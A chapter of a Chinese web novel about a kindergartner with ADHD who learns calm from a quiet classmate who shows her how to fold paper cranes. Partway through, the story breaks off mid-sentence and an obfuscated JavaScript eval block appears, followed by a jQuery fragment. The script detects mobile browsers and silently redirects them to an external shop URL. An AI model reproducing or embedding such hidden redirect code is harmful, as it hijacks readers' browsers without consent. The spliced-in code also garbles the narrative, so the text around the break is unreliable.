第三章躁动的小孩有了归处
林岁岁有多动症这件事，是在中班下学期被正式确诊的。
其实征兆早就有了。从小班开始，她就是班上最坐不住的孩子。集体活动的时候，别的小朋友能乖乖坐在小椅子上听完老师讲故事，她听了不到两分钟就开始扭来扭去，像椅子上长了钉子。再过一分钟，她已经溜到教室后面去摸玩具了。
老师提醒她：“岁岁，回到座位上。”
她乖乖回去坐下。三十秒后，又开始抠桌角的贴纸。再过一分钟，腿开始抖。再过两分钟，整个人已经从椅子上滑下去，趴在了地上。
“我在捡笔！”她理直气壮地说，尽管她手里根本没有笔。
到了中班，情况变得更加明显。她的注意力像一只蝴蝶，在任何一朵花上都停留不超过三秒钟。画画画到一半，看到旁边的小朋友在搭积木，立刻扔下画笔跑过去搭积木；积木搭了三块，听到外面有鸟叫，又丢下积木跑到窗边去看鸟。
吃饭也是老大难的问题。她永远没法安安稳稳地吃完一顿饭。吃两口就要说话，说两句就要站起来，站起来就要转一圈，转完一圈回来，饭已经凉了。
老师找林岁岁的妈妈谈过很多次。
“岁岁妈妈，岁岁很聪明，也很活泼开朗，我们都特别喜欢她。但是她的专注力确实比同龄的孩子差很多，上课完全坐不住，有时候还会影响到其他小朋友。”
“我们在家也发现了，”岁岁妈妈叹了口气，“写作业就跟打仗一样，写五分钟要起来喝三次水、上两次厕所、摸一遍客厅里的所有东西。我和她爸都快愁死了。”
后来去医院做了评估，结果出来了——注意缺陷与多动障碍，也就是俗称的多动症。
拿到诊断书的那天晚上，岁岁妈妈坐在沙发上哭了很久。岁岁爸爸安慰她说没事，现在医学发达，可以治。但妈妈担心的不是治病，她担心的是女儿以后上学怎么办，会不会被同学歧视，会不会被老师嫌弃。
岁岁并不知道这些大人的忧愁。
她只知道，最近妈妈带她去见了一个很和气的叔叔，那个叔叔跟她玩了好多游戏，让她拼图、让她记数字、让她在一堆图案里找出不一样的那个。最后叔叔给了妈妈一张纸，妈妈看完就哭了。
岁岁不太明白发生了什么，但她知道妈妈不开心。
所以她决定——今天在幼儿园要乖乖的，不让老师告状。
这个决心大概维持了一个上午。
下午自由活动的时候，老师让大家在教室里画画，主题是“我的家”。岁岁坐在小板凳上，握着蜡笔，认认真真地画了一个圆圈——那是她家的屋顶。
然后她看到了窗台上有一只苍蝇。
她放下蜡笔，走过去看苍蝇。
苍蝇飞走了。
她跟着苍蝇走到窗边。
苍蝇撞在玻璃上，嗡嗡嗡。
她觉得很有趣，用手指敲了敲玻璃，想把苍蝇赶出去。
苍蝇没出去，她的注意力倒是被窗外操场上的滑梯吸引了——有人在玩滑梯！
她转身就往教室门口跑。
“林岁岁！”老师的声音从背后传来，“你的画还没画完呢！”
岁岁刹住脚步，回过头，脸上带着一种“糟糕被发现了”的心虚表情。
“我……我想上厕所！”
“你十分钟前刚去过。”
“我又想去了！”
老师无奈地叹了口气，走过来拉住她的手，把她带回座位：“先把画画完，画完了再去玩，好不好？”
岁岁坐在椅子上，两条腿不停地晃荡，手里的蜡笔在纸上胡乱涂了几笔。她看着纸上歪歪扭扭的线条，忽然觉得好无聊。
画画好无聊。
坐着好无聊。
什么都好无聊。
她的胸口有一种说不出的感觉，像是有好多好多的能量憋在里面，找不到出口。她想跑、想跳、想大喊大叫、想做点什么来消耗掉身体里那股横冲直撞的力量。
但她不能。老师在看着她。
她开始咬指甲。
“岁岁，不要咬指甲。”
她放下手指，开始抠桌子上的漆。
“岁岁，不要抠桌子。”
她停下动作，开始抖腿。
“岁岁，脚放好。”
岁岁深吸一口气，努力让自己的身体保持静止。但这太难了，比她做过的最难的拼图还要难。她的身体好像不是自己的，那些不安分的能量像气泡一样从她身体里咕嘟咕嘟冒出来，她按不住。
她忽然很想沈寂。
她转头看向教室的另一个角落——沈寂不在那里。
对了，沈寂今天没有来幼儿园。
沈寂的妈妈提前请过假，说是要带沈寂去做检查。做什么检查岁岁不知道，她只知道沈寂今天不在，没有人陪她。
她忽然觉得更烦躁了。
傍晚回到家，岁岁的情绪已经坏到了一个顶点。
她也不知道自己怎么了，就是觉得浑身不对劲。妈妈让她洗手，她不想洗。妈妈让她换鞋，她不想换。妈妈多说了一句，她忽然就炸了。
“我不要你管！”
她把手里的书包狠狠摔在地上，眼泪毫无预兆地涌了出来。她不知道自己为什么要哭，但她就是控制不住。那股憋了一整天的能量终于找到了出口，以一种她自己都无法理解的方式喷薄而出。
妈妈没有骂她。
妈妈只是蹲下来，把她抱住，轻轻拍着她的后背。
“没事的，岁岁，没事的。妈妈在。”
岁岁在妈妈怀里哭得上气不接下气，一边哭一边含含糊糊地说：“我……我好烦……我不知道为什么……我就是好烦……”
“妈妈知道，妈妈都知道。”妈妈的声音也有些哽咽，“这不是你的错，岁岁。你只是生病了，治好了就好了。”
“我会好吗？”
“会的，一定会的。”
岁岁哭累了，在妈妈怀里睡着了。
第二天早上醒来，岁岁的第一句话是：“妈妈，今天可以去幼儿园吗？沈寂今天应该来了。”
妈妈愣了一下，随即笑了：“你这么喜欢那个叫沈寂的小朋友啊？”
“嗯！”岁岁用力点头，眼睛亮晶晶的，“她是我的好朋友！”
“可是她都不跟你说话呀。”
“没关系呀！”岁岁理所当然地说，“我可以跟她说话！我说她听就行了！”
妈妈看着女儿那张元气满满的脸，心里那块沉甸甸的石头，好像轻了一点点。
到了幼儿园，岁岁第一件事就是冲向教室。
沈寂果然来了。
她还坐在那个老位置——靠墙的角落，离窗户不远不近的地方。她手里拿着一本绘本，低着头在看，周围的一切都与她无关。
“沈寂！”岁岁飞奔过去，在距离她半步的地方熟练地刹住车，“你昨天去哪里了？我好想你！”
沈寂抬起头，看了她一眼，又低下头继续看书。
岁岁一点也不介意。她熟门熟路地从旁边拖来一把小椅子，放在沈寂旁边——依然是隔着一个巴掌的距离——然后坐下来，开始絮絮叨叨地讲她昨天的事。
“我昨天画画了，画的是我的家，但是没画完，因为我看到了一只苍蝇。”
“后来我哭了，我也不知道为什么哭，就是很想哭。”
“妈妈说我生病了，但是会好的。我觉得我没有生病，我只是坐不住而已。”
“你今天来了我好开心！”
她就这样说了大概五分钟，完全没有得到任何回应，但她一点也不觉得尴尬。沈寂虽然不说话，但她在听——岁岁能感觉到。沈寂翻书的动作很慢，耳朵一直是朝着岁岁的方向的。这就够了。
过了一会儿，老师组织大家做手工——用彩纸折千纸鹤。
这是岁岁最头疼的活动之一。折纸需要耐心、需要精细动作、需要一步一步跟着指令来。而这三样东西，岁岁恰好都没有。
老师在前面示范，第一步，对折。岁岁跟着做了，成功了。第二步，再对折。也成功了。第三步，把角翻出来。
岁岁卡住了。
她翻了两下没翻出来，急了，用力一扯，纸撕破了。
“啊！”她发出一声挫败的喊叫，把皱巴巴的纸揉成一团扔在桌上，“我不做了！”
旁边的几个小朋友被她吓了一跳，纷纷看过来。
岁岁的脸涨得通红，胸口的烦躁感又涌上来了。她觉得自己好没用，连一张纸都折不不好。她想起昨天医生说的话，想起妈妈哭红的眼睛，想起老师无奈的叹气——
她觉得自己好像真的有问题。
就在她快要再次爆发的时候，一只手伸了过来。
那只手很小，手指细白，动作很慢，但很稳。
沈寂把自己桌上的那张彩纸拿起来，放在岁岁面前。然后她又从自己的抽屉里拿出一张新的彩纸，开始慢慢地折。
她的动作非常缓慢，每一步都停顿很久，像是在确保岁岁能够看清楚。
先对折，压平。
再对折，压平。
把角翻出来——她做这一步的时候，特意放慢了速度，翻完之后还看了一眼岁岁，确认她看到了。
岁岁愣住了。
她看着沈寂那双安静的手，一下一下地、有条不紊地把一张平面的纸变成一个立体的千纸鹤。整个过程没有催促、没有不耐烦、没有责备。
沈寂折完那只千纸鹤，把它放在桌上，轻轻推到岁岁面前。
然后她低下头，开始折第二只。
岁岁看着面前那只千纸鹤，又看看自己手里那张被扯破的纸，忽然就不那么烦躁了。
她深吸了一口气，拿起那张新纸，学着沈寂的样子，一步一步地折。
还是会卡住，还是会翻不好。但这一次她没有发脾气，而是停下来，偷偷看一眼沈寂的手——沈寂也在折，速度依然很慢，像是在等她。
岁岁跟着沈寂的节奏，一步一步，终于——
一只歪歪扭扭的、翅膀一大一小的千纸鹤，在她手里诞生了。
“我折出来了！”岁岁举着那只丑兮兮的千纸鹤，兴奋得差点从椅子上跳起来，“沈寂你看！我折出来了！”
沈寂抬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892566|212782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头，看了一眼那只千纸鹤。
然后她轻轻地点了一下头。
岁岁高兴得简直要原地爆炸。她把那只千纸鹤小心翼翼地放在掌心里，左看右看，怎么看都看不够。
然后她做了一个决定。
她把沈寂折的那只漂亮的千纸鹤拿起来，连同自己那只丑兮兮的千纸鹤，一起放进了书包里。
“这两只我要带回家，收起来！”她宣布，“这只漂亮的是沈寂折的，这只丑的是我折的。它们是一对！”
旁边的小朋友凑过来看，笑着说：“你的好丑哦！”
岁岁一点都不生气，反而骄傲地扬起下巴：“丑怎么了！这是我第一次折出来的！而且——”
她转头看了一眼沈寂，笑嘻嘻地说：
“我有沈寂教，你们有吗？”
午睡时间，是岁岁一天中最难熬的时刻。
别的孩子躺下去二十分钟就能睡着，岁岁不行。她的脑子里像有一百只小猴子上蹿下跳，各种念头此起彼伏，根本停不下来。她翻来覆去，踢被子，抠床单，数羊数到三百只还是精神抖擞。
老师过来哄了她好几次，效果甚微。
今天也是一样。岁岁躺在小床上，瞪着天花板，感觉自己浑身上下都在痒。她想翻身，又想坐起来，又想去找人说话。
她偷偷侧过头，看向旁边的小床。
沈寂躺在那里，没有睡着，但很安静。她睁着眼睛，看着窗外的天空，呼吸平稳而绵长。
岁岁看着她，不知道为什么，自己那颗躁动不安的心，好像慢慢安静了下来。
她学着沈寂的样子，平躺着，把手放在肚子上，看着天花板。
不说话。
不乱动。
什么都不想。
就只是……安静地躺着。
一分钟过去了。
两分钟过去了。
五分钟过去了。
岁岁的眼皮开始打架。
她迷迷糊糊地想——原来安静是这样的感觉啊。
好像……也不错。
她闭上眼睛，呼吸渐渐变得均匀。
这一觉，她睡了整整一个小时，没有翻一次身。
老师来查房的时候，看到岁岁居然在午睡，惊讶得差点叫出声来。她看到岁岁旁边那张床上的沈寂——沈寂也没有睡，但她一直醒着，安静地躺着，像一座小小的灯塔。
老师忽然明白了什么。
岁岁醒来的时候，感觉整个人神清气爽。她从床上坐起来，第一件事就是转头看旁边。
沈寂已经起来了，坐在床边，正在穿鞋子。
“沈寂！”岁岁元气满满地喊了一声，“我睡着了！我居然睡着了！我好久好久没有在幼儿园睡着过了！”
沈寂系鞋带的动作顿了一下，没有抬头。
但岁岁注意到，沈寂的嘴角，好像微微翘了一下。
岁岁愣了一秒，然后发出一声更大的欢呼：“你笑了！你刚才笑了！我看到你笑了！”
沈寂立刻抿住嘴唇，恢复了面无表情的样子。
但岁岁已经看到了，她确信自己看到了。
她跳下床，光着脚跑到沈寂面前，蹲下来，仰着脸看她，笑得眼睛弯成月牙：“你再笑一个嘛！再笑一个给我看看！”
沈寂把头扭到一边，耳尖有一点红。
岁岁笑得更大声了。
她觉得自己今天简直是全世界最幸福的小孩。
因为她发现了这个世界上最好最好的秘密——
沈寂会笑的。
只有她见过。
放学的时候，岁岁拉着妈妈的手，一路上叽叽喳喳说个不停。
“妈妈妈妈，我今天折了千纸鹤！是沈寂教我折的！”
“妈妈妈妈，我今天午睡睡着了！睡了整整一个小时！”
“妈妈妈妈，我今天看到沈寂笑了！她笑起来好好看！”
妈妈听着女儿兴奋的声音，心里又欣慰又感慨。自从确诊以来，她每天都在担心女儿的未来，担心她会被这个世界排斥，担心她找不到属于自己的位置。
但现在她忽然觉得，也许事情没有那么糟糕。
因为在这个世界上，已经有一个人，能让她的女儿安静下来。
哪怕那个人只是一个同样年幼的孩子，哪怕那个人从不说话。
但那束光，已经照进来了。
那天晚上，岁岁在自己的小书桌前，用蜡笔画了一幅画。
画上有两个小人，一个大一点，一个小一点。大一点的头上画着一朵向日葵——那是她自己。小一点的头上画着一颗星星——那是沈寂。
两个小人手牵着手，站在一片绿色的草地上。
头顶是一片蓝色的天空，天空中挂着一轮金灿灿的太阳。
岁岁在画的右下角，用歪歪扭扭的字写了四个字：
「岁岁平安」
她不知道这个成语是什么意思，她只是在某一天听妈妈说过，觉得这四个字很好听。
岁岁平安。
里面有她的名字。
也有她想要的——她和沈寂，都要平平安安的。